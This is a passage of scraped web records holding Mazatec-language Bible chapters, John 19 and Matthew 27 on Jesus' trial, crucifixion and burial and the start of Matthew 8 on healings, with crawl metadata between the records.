nga'tsì ra ta jè xi̱ta̱xá ítjòn tsò‑la̱ ijo‑la̱, kondra̱á fì‑la̱ jè xi̱ta̱xá ra tíbatéxoma‑ná. 13Jè Pilato 'kia̱ nga kií'nchré jñà 'én kìi̱, tsachrjeé ya̱ ndi̱tsiaán jè Jesús, a̱kjòn tsikijna ya̱ i̱'nde ñánda̱ nga bíndajín kjoa̱ ya̱ ñánda̱ 'mì A̱sòn Chrjó Na̱jo̱, jè i̱'nde ra Gabatá 'mì, 'kia̱ nga 'én hebreo. 14Ijchó‑la tsa nchisen jè ni̱chjin 'kia̱ nga ijye títsa̱jnanda xi̱ta̱ nga ki̱tjo 'sí paxko̱ nga ta jngo ni̱chjin chija‑isa; kiìchja̱á jè Pilato nga kitsò: ―¡Síjna i̱jndíi̱ jè xi̱ta̱xá ítjòn‑no! 15Tanga jñà xi̱ta̱ judío 'ñó kiìchja̱ nga kitsò: ―¡Katabiya‑róoi̱! ¡Ya̱ tjà'tà krò! 'Kia̱á kitsò jè Pilato: ―¿A krò ko'tá jè xi̱ta̱xá ítjòn‑najiòn? Kitsó jñà xi̱ta̱ ítjòn‑la̱ na̱'mì: ―Mì tsa ti̱ yá xi̱ta̱xá ítjòn tjín‑naji̱n, ta jé‑ní ra 'mì César ra batéxoma‑naji̱n. 16Pilato 'kia̱á isìnga̱tsja jñà xi̱ta̱ kìi̱ jè Jesús mé‑ni nga katabá'ta krò; ko̱ jñà xi̱ta̱ kìi̱ kiìko̱ó jè Jesús. 17Jesús itjo, 'yamijìn jè krò‑la̱ nga kijì ya̱ i̱'nde ra 'mì I̱'nde Sko̱ Mi'ken ('kia̱ nga 'én hebreo, Gólgota 'mì i̱'nde ra̱kìi̱). 18'Kia̱ nga ijchò ya̱ i̱'nde ra̱kìi̱, ya̱á isi'ta krò, ko̱ ngi jò‑isa xi̱ta̱, ta̱ña isi'tako̱ krò; jè Jesús isasiyá masen‑la̱. 19Jè Pilato tsikíndaá jngo 'én ra tsò: \"Jesús ra Nazaret i̱'nde‑la̱, Xi̱ta̱xá Ítjòn‑la̱ xi̱ta̱ judío\", a̱kjòn tsaká'ta ya̱ sko̱ krò. 20'Ñó kjìn xi̱ta̱ judío kijtse nga iskotá'yá jñà 'én kìi̱, nga̱ ki, ya̱ ñánda̱ nga isi'ta krò jè Jesús, ya̱á chraña'tá‑la̱ na̱xi̱ndá. Jñà 'én kìi̱, jàn ndi̱yá‑la̱ jñà 'én ra tjí'ta: nga 'én hebreo, 'én griego ko̱ 'én latín. 21Jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ra 'tse̱ xi̱ta̱ judío kitsó‑la̱ jè Pilato: ―Kì tà chjàn ko̱'sín bindi nga tsò: \"Xi̱ta̱xá Ítjòn‑la̱ xi̱ta̱ judío\"; 'koa̱á 'sín tindi \"Jè ra Xi̱ta̱xá Ítjòn‑la̱ xi̱ta̱ judío kitsò‑la̱ ijo‑la̱.\" 22Jè Pilato kitsó‑ní: ―Koni 'sín ijye kabindáa̱, 'koa̱á 'sín katasijna. 23Jñà chíchàn 'kia̱ nga ijye tsaká'ta krò jè Jesús, iskábé jè nikje‑la̱; ijòn‑ya ki'sìn nga tsateya; a̱kjòn jngó jngó‑ya iskábé‑ni. Ti̱'koa̱á iskábé‑te jè nikje ndajò‑la̱ jè ra mì tsa itjahiña, tà nikje tíjngo‑ní; 24kitsò‑la̱ xákjén jñà chíchàn: ―Mì kì tsa chjíchrja̱yeé; ta si̱skáko̱ jnchreé; ya̱á jcha̱‑la̱ yá 'tse̱ ki̱tso̱‑la̱. 'Koa̱á 'sín itjasòn koni 'sín tjí'ta jè Xa̱jo̱n‑la̱ Nainá nga tsò: \"Jè nikje‑na̱ isìka'bí‑la̱ xákjién ko̱ kisískáko̱‑ní nikje ndajò‑na̱.\" Jñà kjoa̱ kìi̱, 'koa̱á 'sín ki'sìn jñà chíchàn. 25Ya̱á i̱jncha'ta chraña‑la̱ krò jè na̱‑la̱ Jesús, ko̱ ndichja, ko̱ María jè chjo̱ón‑la̱ xi̱ta̱ ra 'mì Cleofas ko̱ jè‑te María Magdalena. 26Jesús 'kia̱ nga kijtse jè na̱‑la̱ ko̱ ti̱'koa̱á kijtse‑te jè xi̱ta̱ ra kotá'yá'ta‑la̱ ra 'ñó tsjake kjomà, kitsò‑la̱ jè na̱‑la̱: ―Ji̱ ndí chjo̱ón, ya̱á tíjna i̱jndáa̱ jè i'ndí‑li. 27A̱kjòn 'kia̱á kitsò‑la̱ jè xi̱ta̱‑la̱ ra 'ñó tsjake: ―Ya̱á tíjna i̱jndáa̱ jè na̱‑li. Skanda 'kia̱‑ni ni̱chjin, jè xi̱ta̱‑la̱ Jesús iskábétjò ya̱ ni'ya‑la̱ jè na̱‑la̱ Jesús. 28'Kia̱ nga ijye kjomà, Jesús kijtse‑ní nga ijyeé itjasòn ijye‑la̱, kitsó‑ní: ―Xándá‑na. Ko̱ 'koa̱á 'sín itjasòn koni 'sín tíchja̱ jè Xa̱jo̱n ra tjí'ta 'Én‑la̱ Nainá. 29Ya̱á tíjna jngo ti̱jí i̱tsé ra tjíya nandá binagre̱. Jñà xi̱ta̱ iskábé tsa̱nga̱, tsjahíjin ya̱ nandá binagre̱ nga isikà'nchi̱, a̱kjòn tsikísko jngo yá nga ikjaí'tà chraña‑la̱ ya̱ tsa'ba Jesús. 30'Kia̱ nga ijye ki'tsi jè nandá binagre̱ Jesús, kitsò: ―Ijyeé itjasòn ijye‑ní. A̱kjòn tsikíjnajten jè sko̱ nga 'ken. 31Ni̱chjin ra̱kìi̱, ta jngo ni̱chjin chija‑isa nga ki̱tjo jè 'sí paxko̱, ko̱ jñà xi̱ta̱ judío majìn‑la̱ 'kia̱ nga ni̱chjin níkjáya ya̱ si̱'ta krò ijo‑la̱ ndí mi'ken, nga̱ jè 'sí paxko̱ 'ñó xkón. 'Koa̱á 'sín kjomà‑ni nga jñà xi̱ta̱ tsikítsa'ba‑la̱ jè Pilato nga katatsjá kjo̱hixi̱ mé‑ni nga katakján‑ni jñà ninda xkó‑la̱ jñà xi̱ta̱ ra kji'ta krò, ko̱ a̱kjòn katatjahíxìn jñà ijo‑la̱. 32Jñà chíchàn kijí‑ní nga tsakján jñà ninda xkó‑la̱ jè xi̱ta̱ ra kji'ta ítjòn krò ko̱ 'koa̱á ti̱'sín isìko̱‑te jè ra ìjngo ra ya̱ kji'ta krò ya̱ chraña‑la̱ Jesús. 33Tanga 'kia̱ nga ijchò kincha'ta chraña‑la̱ jè Jesús, kijtse‑ní nga ijyeé mi'ken. 'Koa̱á 'sín ma‑ni nga mì kì ti̱ tsakján‑ni jñà ninda xkó‑la̱. 34Tanga jngo chíchàn tsikí'sen jngo ki̱cha̱ ra ijò‑sko 'ki ya̱ ndi̱si̱n‑la̱ Jesús; 'kia̱ nga ko̱'sín isìko̱, jní ko̱ nandá itjo. 35Jè ra tí'béna̱jmí jñà 'én kìi̱, jé kjón‑ní ra kijtse; ko̱ ngi 'én kixi̱í ra tí'béna̱jmí; be‑ní nga 'én kixi̱í ra tí'béna̱jmí mé‑ni nga ti̱'koa̱ katakjiín‑no ra jiòn. 36Nga̱ kií ko̱'sín ko̱kjamà‑ni jñà kjoa̱ kìi̱ mé‑ni nga itjasòn‑ni koni 'sín tjí'ta jè Xa̱jo̱n 'Én‑la̱ Nainá, nga tsò: \"Ni̱jngo ninda‑la̱ ko̱kjàn.\" 37Ko̱ 'koa̱á ti̱'sín tíchja̱ ya̱ ñánda̱ xìn jè Xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Jñà xi̱ta̱ sko̱òtsíjeén‑la̱ jè ra itjá'xákjá ya̱ ndi̱si̱n‑la̱.\" 38'Kia̱ nga ijye kjomà nga'tsì jñà kjoa̱ kìi̱, jè José ra ya̱ i̱'nde‑la̱ ya̱ na̱xi̱ndá Arimatea, ra ti̱'koa̱ ya̱ kotá'yá'ta‑la̱ Jesús, tanga mì tsa ngi tsakón ijo‑la̱ tsa xi̱ta̱‑la̱ Jesús, tà nga̱tjì‑la̱ nga xi̱ta̱xá 'tse̱ xi̱ta̱ judío tsakjón‑la̱. Jè xi̱ta̱ ra̱kìi̱, isíjé'ndeé‑la̱ jè Pilato nga ko̱ma i̱ko̱ jè ijo‑la̱ Jesús, ko̱ jè Pilato kitsjá'nde‑la̱, a̱kjòn tsaje̱n‑ngi‑ni ya̱ krò jè ijo‑la̱ Jesús nga kiìko̱. 39Ti̱'koa̱á ijchò‑te jè Nicodemo jè xi̱ta̱ ra ijchòjkon jngo 'ká jè Jesús 'kia̱ nga jñò; maá‑la̱ tsa katé kilo chijo ra nda jne̱ 'ya ra tjíkójin mirra ko̱ áloe. 40José ko̱ Nicodemo kiìko̱ó jè ijo‑la̱ Jesús; isíkájté nikje chroba ra tjín‑la̱ jè chijo ra nda jne̱, koni 'sín ijye ngaà‑la̱ jñà xi̱ta̱ judío 'kia̱ nga sihijin jngo mi'ken. 41Ya̱ i̱'nde ñánda̱ nga isi'ta krò jè Jesús, tíjna jngo i̱'nde ñánda̱ sitje̱ tsajmì, ko̱ ya̱á tíjna jngo chrjó tjínda ra chrjó xi̱tse̱, ya̱ ñánda̱ ni̱ sa jngo mi'ken sijnaya. 42Ya̱á isijnaya jè ijo‑la̱ Jesús nga̱ chraña'tá‑ní, nga̱ ki, ijyeé tíma'tsia̱ jè ni̱chjin níkjáya 'tse̱ xi̱ta̱ judío.\nSan Juan 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/19","date":"2013-12-07T00:35:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052909\/warc\/CC-MAIN-20131204131732-00015-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":1194,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.332,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga kis'e i̱sén, ngats'iì xi̱ta̱ sko̱‑la̱ no̱'miì, jñà xi̱ta̱ jchínga ts'e̱ xi̱ta̱ judío tsajoóya‑ne nga kondra̱ kjoi̱‑la̱ Jesús mé‑ne nga ko̱ma si̱ìnga̱tsja‑ne jñà xi̱ta̱ Roma nga si̱ìk'en. 2Tsibít'aà'ñó, kiìko̱ nga kisìnga̱tsja Pilato xi xi̱ta̱xá gobernador tíjna ts'e̱ Roma. 3Judas, jè xi tsatíjna Jesús, k'e̱ nga jye kijtseè nga jye kitjoòt'in kjoa̱ nga ki̱yá, 'ñó kokájno‑la̱ kjoa̱ xi kis'iìn koa̱ kisìkátji‑ne to̱n chroba xi katé ma‑ne jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ jchínga. 4Kitsò‑la̱: ―Tseé jé tsohótsji‑la̱ yijo‑na̱ nga kisìnga̱tsja‑nò jngoò xi̱ta̱ xi ni̱mé jé tjín‑la̱. Ta̱nga jñà xi̱ta̱ koi kitsò: ―Ngaje̱n, mìkiì 'ya‑je̱n. Kjoa̱ tsi̱ji‑né. 5Judas tsibítsjo to̱n ya̱ i̱ngo̱ ítjòn. K'e̱é kiì tsibítjo̱hóngui yijo‑la̱. 6Jñà xi̱ta̱ sko̱‑la̱ no̱'miì, kiskoé to̱n, kitsò: ―Mìkiì ko̱ma ya̱ si̱jngoaá to̱n xi tjíya kaxa̱‑la̱ to̱n kjo̱tjò‑la̱ Nainá. To̱n jè, chjí‑la̱ mik'en‑né. 7K'e̱é tsajoóya‑ne nga jè to̱n jè, nanguií ko̱tse jngoò 'nde‑ne, xi 'mì: I̱'nde Ñánda Mandaà Ti̱jí, mé‑ne nga s'e̱‑ne i̱'nde ñánda ko̱ma si̱ìjiìn xi̱ta̱ xi xìn na̱xa̱ndá‑la̱. 8K'oi̱í kjoa̱‑la̱, skanda na̱chrjein i̱'ndei̱, tákó k'oa̱á 'mì i̱'nde jè nga I̱'nde‑la̱ Jní 'mì. 9K'oa̱á s'ín tsitasòn koni s'ín kitsò Jeremías xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá nga kitsò: \"Kiskoé to̱n chroba xi katé ma‑ne, koni tjín tsibíjna‑la̱ chjí‑la̱ jñà xi̱ta̱ Israel, 10ko̱ k'oa̱á s'ín kisìkjeén to̱n jè nga tsatse i̱'nde‑la̱ xi̱ta̱ xi ti̱jí bíndaà koni s'ín kitsjaà‑na o̱kixi̱ Nainá.\" 11Jesús, k'e̱ nga síjna nguixko̱n jè xi̱ta̱xá gobernador kiskònangui‑la̱, kitsò‑la̱: ―¿A ji̱‑né xi xi̱ta̱xá ítjòn‑la̱ jñà xi̱ta̱ judío? Jesús kitsò: ―Ngaji̱í xi k'oa̱ si nga 'a̱n‑ná. 12K'e̱ nga nchihóngui Jesús jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ jchínga‑la̱ xi̱ta̱ judío, Jesús ni̱mé 'én kiìchja̱. 13K'e̱é kitsò Pilato, jè xi xi̱ta̱xá gobernador: ―¿A mì na'yà‑la̱ koni tsò‑lè? Kjìn 'én tsjá xi kondra̱ tsi̱ji. 14Ta̱nga Jesús ni̱jngoò 'én kiìchja̱. K'oi̱í kjoa̱‑la̱ nga jè xi̱ta̱xá gobernador tà k'oa̱á komà‑la̱. 15Nga xki̱ nó k'e̱ nga bitjo s'eí Paxko̱, jè xi̱ta̱xá gobernador síkíjnandei̱í jngoò xi̱ta̱ xi títsa̱'ya nda̱yá, jè xi mejèn‑la̱ xi̱ta̱ na̱xa̱ndá nga kíjnandei̱í. 16Ti̱k'e̱é‑ne tíjna'ya nda̱yá jngoò xi̱ta̱ xi 'ya‑la̱ nga 'ñó ts'e̱n xi 'mì Barrabás. 17K'e̱ nga chixoña xi̱ta̱ na̱xa̱ndá, jè Pilato kiskònangui‑la̱, kitsò‑la̱: ―¿Yá‑né xi mejèn‑nò nga kíjnandei̱í? ¿A Barrabás‑né, o xi Jesús‑né xi Cristo 'mì‑là? 18Koií o̱kitsò‑ne Pilato nga jyeé tíjiìn‑la̱ nga tà kjoa̱xìtakòn‑né nga ya̱ ijchò sínga̱tsja Jesús. 19Jè Pilato k'e̱ nga tíjna ni'ya osen, jè chjo̱ón‑la̱ kisìkasén xá‑la̱, kitsò‑la̱: \"Kiì ji̱ chingájiìn kjoa̱‑la̱ xi̱ta̱ kixi̱ jè. Na̱ti ni̱tje̱n, tsí 'ñó ch'o tsò nijñá xi kò'biì‑na i̱t'aà ts'e̱.\" 20Ta̱nga jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ jchínga, chinchá'a xi̱ta̱ na̱xa̱ndá nga kàtasíjé nga kàtìjnandei̱í Barrabás ko̱ kàtasík'en Jesús. 21Jè xi̱ta̱xá gobernador ìjngoò k'a kiskònangui‑la̱ jñà xi̱ta̱ na̱xa̱ndá; kitsò‑la̱: ―¿Ñá‑la̱á nga ingajò xi̱ta̱ koi xi mejèn‑nò nga sikíjnandia̱á? Jñà xi̱ta̱ na̱xa̱ndá kitsò: ―Jè Barrabás. 22Pilato kiskònangui‑la̱ jñà xi̱ta̱ na̱xa̱ndá. Kitsò‑la̱: ―¿Mé xi si̱koa̱á Jesús xi Cristo 'mì‑là? Ngats'iì xi̱ta̱ na̱xa̱ndá kitsò: ―¡Kàtasit'aà krò! 23K'e̱é kitsò Pilato: ―¿Mé jé xi tsohótsji, mé‑ne ki̱yá‑ne? Jñà xi̱ta̱, ìsa̱á 'ñó kiìchja̱, kitsò: ―¡Kàtasit'aà krò! 24K'e̱ nga kijtseè Pilato nga nì mé kjoa̱ sindaàjiìn, tà ìsa̱á tímatse kjoa̱siì, kiskinìkjaá nandá nga tsaníjno tsja nga nguixko̱n xi̱ta̱ na̱xa̱ndá [mé‑ne nga skoe̱‑ne jñà xi̱ta̱ nga ni̱mé jé tjín‑la̱]. Kitsò: ―Ni̱mé jé tjín‑na xi i̱t'aà ts'e̱ xi̱ta̱ kixi̱ jè nga mejèn‑nò nìk'eèn. Kjoa̱ tsa̱jòn‑nò. 25Ngats'iì xi̱ta̱ kjìn kitsò: ―Kjoa̱biyaà‑la̱ xi̱ta̱ jè, kinda̱ tsa̱je̱n‑náje̱n ko̱ i̱xti‑na̱je̱n. 26Pilato, k'e̱é kisìkíjnandei̱í Barrabás; k'e̱ nga jye kitsjaà o̱kixi̱ nga tsajá‑la̱ Jesús, i̱kjoàn kisìnga̱tsja nga si̱t'aà krò. 27Jñà soldado‑la̱ xi̱ta̱xá gobernador kiìko̱ Jesús ján ni'ya osen. I̱kjoàn kiìchja̱ yije‑la̱ soldado xíkjín nga tsibìtsa̱jnandiì‑la̱. 28Tsachrje nikje‑la̱ koa̱ kisìkjá jngoò nikje xi inì kji. 29I̱kjoàn tsibí'a sko̱ jngoò corona na'yá xi jñà xó tsibíndaà‑ne, koa̱ jngoò yá tsohóya tsja kixi̱; k'e̱é chincha-xkó'nchit'aà‑la̱ nga kisìsobà‑la̱. Kitsò‑la̱: ―¡Viva xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío! 30Ti̱koa̱á tsibíchrájno koa̱ kiskoé yá xka̱jnchra̱ xi kjiya tsja, tsatjì sko̱. 31K'e̱ nga jye kisìsobà‑la̱, jaàxìn‑la̱ nikje inì xi íkjá. I̱kjoàn kisìkákjá‑ne xi nikje ts'e̱. K'e̱é kiìko̱ nga ko̱sit'aà krò. 32K'e̱ nga jye nchifìko̱ Jesús, kiskaàkjoò jngoò xi̱ta̱ xi Cirene i̱'nde‑la̱ xi 'mì Simón. Jñà soldado kjo̱'ñó kis'iìn‑la̱ nga kisìk'ajen krò‑la̱ Jesús. 33K'e̱ nga ijchòko̱ ya̱ i̱'nde ñánda 'mì Gólgota 'én xi tsòya‑ne i̱'nde sko̱ mik'en, 34ya̱á kitsjaà‑la̱ vino xi tsjájiìn‑la̱ ndá chikitsja. K'e̱ nga kiskoòt'aà Jesús mìkiì kits'iì. 35K'e̱ nga jyeé tsasìt'aà krò, jñà soldado kisìskáko̱ nikje‑la̱ Jesús nga kisìka'bí‑la̱ xíkjín yá ts'e̱ ko̱ma. K'oa̱á s'ín tsitasòn 'én‑la̱ jè xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá nga kitsò: \"Kisìka'bí nikje‑na̱ koa̱ kisìskáko̱ yá ts'e̱ ko̱ma.\" 36I̱kjoàn ya̱á tsibìtsa̱jna nga kisìkinda̱ Jesús. 37Ya̱ i̱sòn sko̱ krò tsibít'aà 'én xi k'oa̱ kitsò mé jé xi komà‑la̱ nga kinìk'en. Jñà 'én koi, tsò: \"Jè jèe̱ xi Jesús xi Xi̱ta̱xá Ítjòn‑la̱ xi̱ta̱ judío.\" 38Ti̱koa̱á kisit'aà krò jò xi̱ta̱ chijé. Jngoò kisit'aà nga kixi̱‑la̱ koa̱ jngoò kisit'aà nga ngaskón‑la̱. 39Jñà xi̱ta̱ xi ya̱ ja, síkatji sko̱ nga kiìchja̱jno‑la̱, 40kitsò‑la̱: ―Ji̱, k'oa̱á kisi nga si̱ixòñi i̱ngo̱ ítjòn‑la̱ Nainá ko̱ jàn na̱chrjein kíndaà ngajo‑ne; ti̱kíjnandei̱í yijo‑lè. Tsà kixi̱ kjoa̱ nga ji̱ xi Ki'ndí‑la̱ Nainá, chináje̱n‑t'i yijo‑lè krò. 41K'oa̱á ti̱s'ín kisìsobà‑la̱ jñà xi̱ta̱ sko̱‑la̱ no̱'miì, ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, ko̱ xi̱ta̱ jchínga ts'e̱ xi̱ta̱ judío. Kitsò: 42―Xi̱ta̱ jè, tsachrjekàjiìn kjo̱'in xi kj'ei̱í xi̱ta̱, ta̱nga jè xi yijo‑la̱, mìkiì ma ochrjekàjiìn kjo̱'in. Tsà kixi̱ kjoa̱ nga jè Xi̱ta̱xá Ítjòn‑la̱ Israel, kàtìtjojen‑t'aà krò mé‑ne nga ko̱kjeiín‑ná i̱t'aà ts'e̱. 43Xi̱ta̱ jè, i̱t'aà ts'e̱ Nainá kjò'ñót'aà ikon. Tsà kixi̱í kjoa̱ tsjakeè Nainá, i̱'ndei̱, jè kàtasìko̱. Nga̱ k'oa̱á ti̱ kitsò nga Ki'ndí‑la̱ Nainá ma. 44Skanda jñà xi̱ta̱ chijé xi ti̱koa̱ ya̱ kjit'aà krò ti̱koa̱á tsatít'aà. 45K'e̱ nga ijchò nchisen skanda xi jàn nga kjòhoxòn, kóho̱kji nga tíjtsa i̱sò'nde kòjñò. 46Ti̱jè‑ne hora Jesús 'ñó kiìchja̱ nga kitsò: \"Elí, Elí, ¿lama sabactani?\" 'Én jè tsòya‑ne: Nainá, Nainá, ¿mé‑ne kàjneitakòn‑ná? 47Tjín i'nga xi̱ta̱ xi ya̱ títsa̱jna xi kiì'nchré‑la̱, kitsò: ―Xi̱ta̱ jè, jé chja̱‑la̱ Elías. 48K'e̱é tsangachikon jngoò xi kiìkjaá tsa̱nga̱; kisìka'nchi̱‑la̱ ko̱ vinagre; i̱kjoàn tsibísko̱‑la̱ ína̱xo̱; kitsjaà‑la̱ Jesús nga kàt'iì. 49Ta̱nga kitsò xi̱ta̱ xi i'nga: ―Kiì k'oa̱ nìko̱, chítsejèn‑lá, ¿a kjoi̱í Elías nga skónáje̱n‑t'aà krò? 50Jesús ìjngoò k'a 'ñó kiskindàya. I̱kjoàn k'en. 51Jè nikje velo xi tjo̱hóya jngoò osen i̱ngo̱ ítjòn kixajndà. Jòya komà skanda i̱t'aà nangui; ts'a ch'ón koa̱ tsàkjàn na̱xi̱ 52nga kitáx'a̱ jñà i̱tsjó‑la̱ mik'en. Kjìn xi̱ta̱ tsjeè‑la̱ Nainá jaáya‑la̱ xi kjòtseé k'en. 53Jñà xi̱ta̱ mik'en xi itjo‑ne i̱tsjó‑la̱, k'e̱ nga ko̱ma i̱skan nga jaáya‑la̱ Jesús, xi̱ta̱ koi, jahas'en ya̱ na̱xa̱ndá tsjeè Jerusalén; kjìn xi̱ta̱ kijtseèxkon. 54Jñà xi̱ta̱ xi nchisíkinda̱ Jesús ko̱ jé xi̱ta̱ sko̱‑la̱ soldado, k'e̱ nga kijtseè nga ts'a ch'ón, ngats'iì kjoa̱ xi komà, tsí ndaà kitsakjòn. K'e̱é kitsò: ―Kixi̱í‑là kjoa̱, xi̱ta̱ jèe̱, Ki'ndí‑la̱ Nainá‑né. 55Ti̱koa̱á kjìn íchjín títsa̱jna xi kjiìn nchikotsejèn‑ne xi inchrobà‑tji̱ngui‑la̱ Jesús skanda ján Galilea nga kisìchját'aà‑la̱. 56Ya̱á títsa̱jna xi 'mì María Magdalena, María xi nea̱‑la̱ ma Jacobo ko̱ José, ko̱ nea̱‑la̱ i̱xti‑la̱ Zebedeo. 57K'e̱ nga jye kòjñò, j'iì jngoò xi̱ta̱ nchi̱ná xi 'mì José. Ya̱á i̱'nde‑la̱ jè na̱xa̱ndá xi 'mì Arimatea. Xi̱ta̱ jè ti̱koa̱á ya̱á kiskoòta'yàt'aà‑la̱ Jesús. 58K'e̱é kiìchja̱‑la̱ Pilato nga kisìjé‑la̱ yijo‑la̱ Jesús. Jè Pilato kitsjaà o̱kixi̱ nga kàtatjoé‑la̱. 59José kiskoé yijo‑la̱ Jesús; kisìkájté jngoò nikje sábana tsjeè. 60Kiì kíhijiìn ya̱ nangui‑la̱ xi ts'e̱ José. Kiskinìs'engui jngoò nga̱jo̱ i̱tsjó xi̱tse̱ xi xó tsibíndaà‑ne ya̱ i̱ngui nguijo. I̱kjoàn tsohójtsa xotjoa̱‑la̱ nga̱jo̱ jngoò nda̱jo̱ teè; i̱kjoàn kiì‑ne. 61Jè María Magdalena ko̱ María xi ìjngoò, ya̱á tsibìtsa̱jnat'aà chrañà‑la̱ ñánda kisìhijiìn Jesús. 62K'e̱ nga komà inchijòn, jè na̱chrjein nìkjáya, jñà xi̱ta̱ sko̱‑la̱ no̱'miì ko̱ xi̱ta̱ fariseo kiìkon Pilato. 63Kitsò‑la̱: ―Na̱'èn, bítsjeèn‑na̱je̱n, jè xi̱ta̱ ndiso jèe̱, k'e̱ nga sa̱ tsibìjnakon kitsò‑né: \"K'e̱ nga ki̱jchò jàn na̱chrjein kjoa̱áya‑na.\" 64K'oi̱í kjoa̱‑la̱ kàtamakinda̱ i̱tsjó‑la̱ skanda k'e̱ ko̱ma jàn na̱chrjein nga mì ya̱á ki̱jchò xi̱ta̱‑la̱ xi kota'yàt'aà‑la̱ k'e̱ nga ni̱tje̱n nga kji̱ko̱ chijé yijo‑la̱. I̱kjoàn ki̱tso̱ jñà xi̱ta̱‑la̱ nga ke̱èno̱jmí‑la̱ jñà xi̱ta̱ na̱xa̱ndá: \"Jyeé jaáya‑la̱ xi i̱t'aà ts'e̱ kjoa̱biyaà.\" Koa̱ ìsa̱á ch'o komà 'én ndiso koi koni jñà xi ítjòn. 65Kitsò Pilato: ―Ya̱ títsa̱jna soldado. Tanguió ti̱kinda̱a. 'Ñó tichjoà jè i̱tsjó nga 'ñó kàtas'e. 66K'e̱é kiì nga tsibíchjoà'ñó jè i̱tsjó koa̱ tsasén jngoò‑la̱ sello ya̱ i̱sò'nga‑la̱ nda̱jo̱ xi kijtsa. I̱kjoàn kisìkítsa̱jna soldado xi kisìkinda̱.\nSan Mateo 27","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/27","date":"2013-12-12T18:41:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164676172\/warc\/CC-MAIN-20131204134436-00078-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000064373016357}","num_words":1291,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.301,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye itjojen‑ni Jesús ya̱ a̱sòn nindo, 'ñó kjìn xi̱ta̱ kiìtji̱ngi‑la̱. 2Jngo xi̱ta̱ ra tjín‑la̱ 'chin ra tífi'ndojno chrja̱ba̱ ijo‑la̱ ijchòjkon, tsasèn-xkó'nchi'tá‑la̱, kitsò‑la̱: ―Na̱'ìn, tsa mejèn‑li, chjáaxìn‑ná jè 'chin ra tjín‑na. 3Jè Jesús tsaká'ta‑la̱ tsja ko̱ a̱kjòn kitsò‑la̱: ―Mején‑na. Ko̱'sín katatjahíxìn‑li jè 'chin ra tjín‑li. 'Kia̱ nga ko̱kitsò‑la̱, ndi̱to̱ón itjahíxìn‑la̱ 'chin ra tjín‑la̱ xi̱ta̱ ra̱kìi̱. 4'Kia̱á kitsò‑la̱ Jesús: ―Nda ti̱ná'yi, kì yá xi̱ta̱ ra 'bèna̱jmí‑la̱. 'Tin ya̱ ñánda̱ tíjna na̱'mì ko̱ jch'i̱i kjo̱tjò‑li, jñà tsajmì ra síjé kjo̱téxoma‑la̱ Moisés, mé‑ni nga nda kjón kata'ya‑la̱ nga kixi̱í kjoa̱ nga ijyeé kjonda‑ni jè 'chin ra tjín‑li. 5'Kia̱ nga 'jaha'sen‑jin Jesús ya̱ na̱xi̱ndá ra 'mì Capernaum, jngo xi̱ta̱ ra Roma i̱'nde‑la̱ ra chíchàn ítjòn tíjna, ijchò síjé jngo‑la̱ kjo̱nda. 6Kitsò‑la̱: ―Na̱'ìn, jè xi̱ta̱ chi̱'nda‑na̱ ya̱á kjijna ya̱ ján ni'ya‑na̱. Batoó 'ñó kiya, tseé kjo̱hi'in tísíkjiín, ko̱ mì kì ti̱ ma síkí'bi̱‑ni. 7Jesús kitsó‑la̱: ―Nda tjín, ko̱maá kjián nga sindá‑na. 8Jè chíchàn ítjòn ra̱kìi̱ 'kia̱á kitsò: ―Na̱'ìn, mì kì bakèn‑na nga ya̱ ki̱tjáha̱'si̱in ni'ya‑na̱, isa̱á nda, ta jé‑ní nga 'ti̱ì kjo̱hixi̱ nga katanda‑ni chi̱'nda‑na̱, ko̱ kja̱beé ko̱nda‑ni. 9Nga̱ be‑náa̱ nga tjín‑li kjo̱téxoma ra ji̱; nga̱ ti̱'koa̱á 'a̱n, tjín‑na xi̱ta̱ ra batéxoma‑na; ko̱ ti̱'koa̱á tjín‑na chíchàn ra 'a̱n síhitjasòn‑na. 'Kia̱ nga xin jngo‑la̱: \"'Tin\", fì‑ní; ko̱ 'kia̱ nga xin‑la̱ ra ìjngo: \"Nchrabí\", nchrabá‑ní; ko̱ 'kia̱ nga xin‑la̱ ra jè chi̱'nda‑na̱: \"Ki̱ 'sín 'ti̱ìn\", síhitjasón‑ní. 10'Kia̱ nga kií'nchré‑la̱ Jesús jè xi̱ta̱ ra̱kìi̱, tà 'koa̱á kjomà‑la̱. Kitsó‑la̱ jñà xi̱ta̱ ra tji̱ngi‑la̱: ―Ngi kjo̱hixi̱í ra xin‑no, skanda ya̱ na̱xi̱ndá Israel kjè kì sakó jngo‑na xi̱ta̱ ra ko̱'sín ta̱ nda makjiín‑la̱ koni 'sín nga makjiín‑la̱ xi̱ta̱ ra̱kìi̱. 11'Koa̱á xín‑no, kjín xi̱ta̱ kj'i̱í‑ni nga tíjngo i̱sà'nde ra kji̱nchrabà‑ni ya̱ ñánda̱ nga bitjokátji‑ni 